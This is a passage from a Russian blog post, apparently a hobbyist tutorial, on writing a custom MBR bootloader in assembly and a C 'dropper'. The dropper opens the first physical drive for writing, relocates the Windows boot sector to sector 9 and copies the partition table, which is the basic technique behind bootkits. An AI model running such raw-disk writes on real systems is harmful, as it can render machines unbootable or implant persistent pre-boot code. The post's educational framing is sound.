src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-2027295174982150890</id><published>2013-02-07T22:49:00.002+02:00</published><updated>2013-02-07T22:49:33.278+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Статьи"/><title type='text'>Первый пост в 2013.Продолжаем тему загрузчиков.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Вот это пропал так пропал называется,аж месяц с лишним прошел...ну вообще то есть достойное объяснение такого рода пропаже-(нет не только лень,хотя и лень):первое это праздники,а праздники как известно сопровождаются большим поглощением алкогольных веществ,и следовательно никакого рабочего состояния.Второе это сессия,хотя я сдал ее крайне быстро,но за этим шло отмечание сдачи сессии.ну и третье это лень само собой.Признаю что на эту работу я потратил примерно 3 недели,так как материал по этому дело практически отсутствует в сети,а если что то и есть то это крупицы на английском языке.&lt;br /&gt;
Итак в чем суть:отладка и написание загрузчика.&lt;br /&gt;
&lt;br /&gt;
Инструментарий:&lt;br /&gt;
1)ассемблер,си&lt;br /&gt;
2)виртуальная машина&lt;br /&gt;
3)отладчик bochs&lt;br /&gt;
4)winhex&lt;br /&gt;
5)daemon tools&lt;br /&gt;
6)образ windows&lt;br /&gt;
7)ultraiso&lt;br /&gt;
8)эмулятор микропроцессора emu8086&lt;br /&gt;
&lt;br /&gt;
Итак целью было написать загрузчик,который перед запуском венды проделывал бы какие то действия в реальном режиме,а после давал запуск венды.Зачем такое ебание мозгов я объясню в конце.&lt;br /&gt;
&lt;br /&gt;
Парился я парился,из-за того что не мог отладить загрузчик с жесткого диска(ведь как мы знаем загрузчик получает управление задолго до запуска операционной системы,а отладчиков такого уровня попросту не существует)и получилось у меня написать загрузчик с дискеты,его работу можно посмотреть вот тут&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=x99_7sB_hXk&quot; target=&quot;_blank&quot;&gt;http://www.youtube.com/watch?v=x99_7sB_hXk&lt;/a&gt;&lt;br /&gt;
Но так как это меня не устраивало,я решил продолжить работу и все таки заставить запускаться венду с жесткого диска.Алгоритм написания загрузчика у нас таков:&lt;br /&gt;
&lt;br /&gt;
1)Заполнить bios parameter block для файловой системы NTFS (по правильному фс должен определять дроппер и заменять соответствующие байты,но мне во-первых лень,во-вторых почти все венды сейчас работают именно в этой ФС)&lt;br /&gt;
2)скопироваться из памяти 0x7c00 в память выше&lt;br /&gt;
3)запустить код из этой памяти(а-ля резидент)&lt;br /&gt;
4)в запускаемом коде произвести установленные в загрузчике действия&lt;br /&gt;
(у нас это выдать сообщение и ожидать нажатия)&lt;br /&gt;
5)передать управление загрузчику windows&lt;br /&gt;
&lt;br /&gt;
Алгоритм написания дроппера таков:&lt;br /&gt;
1)Захексить бинарник и перенести его в массив&lt;br /&gt;
2)Сохранить оригинал загрузочного сектора в другом секторе(обязательно,дальше будет рассказано как сам вендовый загрузчик работает)&lt;br /&gt;
3)Спарсить с оригинала таблицу разделов&lt;br /&gt;
4)Записать таблицу разделов в массив бинарника&lt;br /&gt;
5)записать новый массив в нулевой сектор.&lt;br /&gt;
&lt;br /&gt;
Начнем по порядку.&lt;br /&gt;
Заполнение bpb.&lt;br /&gt;
Для NTFS он представляет собой следующее&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWE4R4yJHu58sSuSomAsiI5p0B9hoZV0zhFMgbeYMlZJG4fBL4G1_RlJtTt9flOenrLnCt-c-b12G-H2BFabcUEmywBQ34TWHEiIQdWTjlgZI5_2WSjGaCgmOicqkfqAsRTYHRhqKs9vXn/s1600/boot_04.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;469&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWE4R4yJHu58sSuSomAsiI5p0B9hoZV0zhFMgbeYMlZJG4fBL4G1_RlJtTt9flOenrLnCt-c-b12G-H2BFabcUEmywBQ34TWHEiIQdWTjlgZI5_2WSjGaCgmOicqkfqAsRTYHRhqKs9vXn/s640/boot_04.gif&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
начинаем,делаем все точь в точь как в таблице,при просмотре в хекс-редакторе мы должны получить первые байты такие же как у mbr wndows (проверки на Хрюше)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;org 07C00h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jmp short start&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;nop&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;oemID dq &#39;NTFS &amp;nbsp; &amp;nbsp;&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;bytespersector dw 512&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;sectorsperclaster db 8&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;reserved_sectors dw 2&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;db 0,0,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dw 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;db 0F8h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dw 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dw 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dw 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;hidden dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dq 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dq 2&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dq 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dq 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;dd 0&lt;/span&gt;&lt;br /&gt;
что у нас тут происходит: первая команда джамп и ноп для 3 байт перехода.далее заполнение BPB по таблице.Тут ничего не надо говорить, акцентирую внимание на том что ОЭМ идентификатор всегда 8 байтовый должен быть.&lt;br /&gt;
&lt;br /&gt;
Далее все по стандарту для загрузчика,настройка сегментов:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;start:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cli &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;xor ax,ax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov ss,ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov sp,7c00h&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov si,sp &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;push ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;pop es&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;push ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;pop ds&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sti &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cld&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
тут опять же все по стандарту,отключаем прерывания что бы ничего не &quot;повесить&quot;, сегмент стека ставим в 0 и потом в 7c00h после чего получаем сегмент:смещение 0000:7с00 , включаем прерывания и очищаем флаг направления.&lt;br /&gt;
&lt;br /&gt;
Дальше идет довольно важный момент из-за которого я тоже немного затормозился в написании-копирование себя в верхнюю память.Это нужно для того что бы по старому адресу ничего не было когда мы будем туда передавать управление,иначе мы будем затирать сами себя своим же кодом и в итоге провал.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt; &amp;nbsp;push dx &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;mov di,0600h &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;mov cx,100h &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;repnz movsw &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;jmp &amp;nbsp; &amp;nbsp; 0000:0672h &lt;/span&gt;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
в чем тут подвохи:&lt;br /&gt;
первое с чего я охренел это куда писать наш сектор,потому что как вы знаете есть логический и физический диск,и что откуда грузится без отладки мне было пока не ясно,вот винхекс нам это показывает:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-2apM-Ie1dQgQz4U0r9hqkYChyptTny9F5jF7bUatH_zCFeCN6edPAPhRJWkxcyC-YAHEfEWoTW_So_xHMN5BHLtSlA59a_yFSrvrefGGgKAVLxGHRC8OPaMAkdRdz-zN4Z2KIkGqvYbr/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-2apM-Ie1dQgQz4U0r9hqkYChyptTny9F5jF7bUatH_zCFeCN6edPAPhRJWkxcyC-YAHEfEWoTW_So_xHMN5BHLtSlA59a_yFSrvrefGGgKAVLxGHRC8OPaMAkdRdz-zN4Z2KIkGqvYbr/s320/1.png&quot; width=&quot;302&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Путем тыкания было установлено что запись все же следует проводить в физический диск.&lt;br /&gt;
С самого начала я забыл запушить dx (туда кладется номер первого диска найденного биосом) и конечно начал не понимать какого хрена не происходит загрузка,потом я записал его в прерывании,но ввиду того что где то в коде регистр очищался,загрузка опять проваливалась соответственно.По этому для лучшей безопасности я решил его запушить и восстанавливать в прерывании,так ничего никуда точно не исчезнет.Далее почему мы копируемся в 0600h- ну во-первых нам надо скопироваться в память выше размером &amp;gt; 200h (размер сектора),а во вторых-я посмотрел что так делает mbr windows и решил тоже спиздить этот участок памяти :D. копируем 256 слов иными словами 512 байт,и передаем управление в память по этому адресу.Вот тут то и случилась подстава номер два: нельзя просто прыгать на метку,потому что в зависимости от кода в метке-смещается адрес.Слеш сказал надо отнимать адрес старта+адрес памяти куда копируемся,парился парился-нихрена не работало,и тут мне пришло в голову в emu его прогнать,вот он то меня и спас,всегда надо смотреть адрес прыжка в отладчике,это 100% надежность что вы не промажете:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLfN3C5P-6SPDlZNB92MY30B1VlihHAJrgJEz4NKNNdPvg3wuZhxvCtGn-Nl7Wvc6tNqlsPvIlrGxhiE8hsXKJiivdMpIqtk5fRzXBNgJO4fI6rSY8gq4SJtS6RgUmFKiTaOXa2Bgxxiyu/s1600/12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLfN3C5P-6SPDlZNB92MY30B1VlihHAJrgJEz4NKNNdPvg3wuZhxvCtGn-Nl7Wvc6tNqlsPvIlrGxhiE8hsXKJiivdMpIqtk5fRzXBNgJO4fI6rSY8gq4SJtS6RgUmFKiTaOXa2Bgxxiyu/s320/12.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
хорошо,мы скопировались,теперь можем выполнять код который захотим.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;read:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov ax,03&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int 10h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov ah,13h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xor al,al&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov bx,00001010b&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xor dx,dx&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov cx,msgend-msg&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; call msgend&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;msg db &#39;Do u really wanna boot ur fucking windows?..ok press any key to do this&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;msgend:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop bp&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int 10h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xor ax,ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int 16h&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
тут ничего особенного,включаем видео режим, задаем атрибуты цветов и сообщение-выводим на экран и ожидаем нажатие клавиши.&lt;br /&gt;
&lt;br /&gt;
когда клавиша нажата,будет выполняться следующий код:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;mov ax,0201h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov bx,7c00h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mov cl,10&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;pop dx&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int 13h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;jmp far 0000:7C00h&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
а именно-чтение сектора.Я захотел скопировать mbr windows в 9 сектор,вы можете копировать в любой(лучше от 2 до 63).Хотя правильнее было бы искать чистый сектор на ЛОГИЧЕСКОМ диске и записывать его туда,потом преобразовывать в физический и оттуда вычитывать,но лень,и так сойдет.&lt;br /&gt;
&lt;br /&gt;
Тут опять параша: сначала я делал просто джамп на адрес-загрузки не было.засунул в эму- показал левый адрес,так как фасм единственный компилятор,нормально переваривающий длинные прыжки,то все решилось добавлением банального far.Тут с загрузчиком покончено.Сверим заголовки в секторе windows и нашем:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO4imD5Ley0_sRtuFImms_9a3Du84fjiVUFTlxTBhzBc_u9hE2GUCnOYMD2mv8ROKOSXmi5WxCWtnMdniAWag0oPUdqhOQaWRb8EY02dcZe24pME3FN6S0uYMVxbDE6Ose-7HSYXMdN2kN/s1600/22.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;69&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO4imD5Ley0_sRtuFImms_9a3Du84fjiVUFTlxTBhzBc_u9hE2GUCnOYMD2mv8ROKOSXmi5WxCWtnMdniAWag0oPUdqhOQaWRb8EY02dcZe24pME3FN6S0uYMVxbDE6Ose-7HSYXMdN2kN/s640/22.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
как видим все совпадает.&lt;br /&gt;
&lt;br /&gt;
Переходим к части на Си.Я думал сделать на делфи,но решил что раз я начал осваивать си,то сделаю на си.&lt;br /&gt;
Возникли некоторые трудности с визуал студио,настроенной по статье Слеша,по этому я использовал не менее хорошую на мой взгляд IDE Pelles C поддерживаемая Пелле Ориниусом.Рассказывать про нее я не буду,все гуглится.&lt;br /&gt;
&lt;br /&gt;
Итак по алгоритму, хексим наш бинарник.в винхексе есть такая замечательная штука,позволяющая скопировать блок сразу в исходник на С.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicv94UglubOxx7HCwI4hQL4-edgoSOHgt7fHgFT-wKR0Zm6g1v9AAVCxLsxM9tExZ1ha_LRKtO6MwOB6jooO3G0yJrSeWBV4QAPQsD9plXeqpLl1_vRf9ZxONvX7x8TuRaTjkJfnwvVzRk/s1600/22.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;249&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicv94UglubOxx7HCwI4hQL4-edgoSOHgt7fHgFT-wKR0Zm6g1v9AAVCxLsxM9tExZ1ha_LRKtO6MwOB6jooO3G0yJrSeWBV4QAPQsD9plXeqpLl1_vRf9ZxONvX7x8TuRaTjkJfnwvVzRk/s320/22.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
(подсветило паскаль-си на строку выше).Получаем что то вроде этого:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;0xEB, 0x52, 0x90, 0x4E, 0x54, 0x46, 0x53, 0x20, 0x20, 0x20, 0x20, 0x00, 0x02, 0x08, 0x02, 0x00,&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;0x00, 0x00, 0x00, 0x00, 0x00, 0xF8...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
Дальше нам надо переместить сектор mbr с ФИЗИЧЕСКОГО диска с 0 в 9 сектор.&lt;br /&gt;
(все на апи)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;hout=CreateFile(TEXT(&quot;\\\\.\\PhysicalDrive0&quot;),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;	&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; ReadFile(hout,&amp;amp;buf,512,&amp;amp;nr,NULL);&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; SetFilePointer(hout,9*512,NULL,FILE_BEGIN);&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &amp;nbsp; WriteFile(hout,&amp;amp;buf,512,&amp;amp;nw,NULL);&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
тут все просто-что бы читать\писать сектора в венде,достаточно открыть диск как файл. мы указываем physicaldrive0 то есть 1-й ФИЗИЧЕСКИЙ диск в системе,если мы хотим издеваться над логическим диском,то пишем просто букву диска,например: \\\\.\\C: в таком плане.&lt;br /&gt;
далее читаем мбр-переходим в сектор 9 и там его записываем.&lt;br /&gt;
&lt;br /&gt;
Теперь надо спарсить таблицу разделов.Зачем спрашивается?-Поясню, отлаживая mbr windows, я заметил странную штуку-он ищет что то по смещению 1BEh в ПЕРВОМ секторе,пошарив в нете я нашел структуру загрузочного сектора:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSEi7975fDJAdwhnPFBpBiqBEqCUTk3HrqrpaaKR55Sthe_YEEcBBIpwgbEGPQnhanvqEDXF3jNDRmciHU4rL8dzTB0dgQqQ7FRwaQt6cGaD2UnB6EmTjJpf2J5fxeKMxFGUeciwiwR4Y8/s1600/22.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSEi7975fDJAdwhnPFBpBiqBEqCUTk3HrqrpaaKR55Sthe_YEEcBBIpwgbEGPQnhanvqEDXF3jNDRmciHU4rL8dzTB0dgQqQ7FRwaQt6cGaD2UnB6EmTjJpf2J5fxeKMxFGUeciwiwR4Y8/s320/22.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
то есть он искал там таблицы разделов.значит нам надо спарсить последние 66 байтов mbr windows.На самом деле это упрощенная схема mbr так как есть еще extended pt так называемая расширенная таблица разделов,вы видите что разрешается 4 таблицы разделов,но наверняка видели намного больше разделов,создаваемых спец. программами.вот это и есть EPT. ну нам для чистоты исследования хватит и такого.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;SetFilePointer(hout,9*512,NULL,FILE_BEGIN);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ReadFile(hout,&amp;amp;buf,512,&amp;amp;nr,NULL);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;for(i=446;i&amp;lt;=512;i++)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
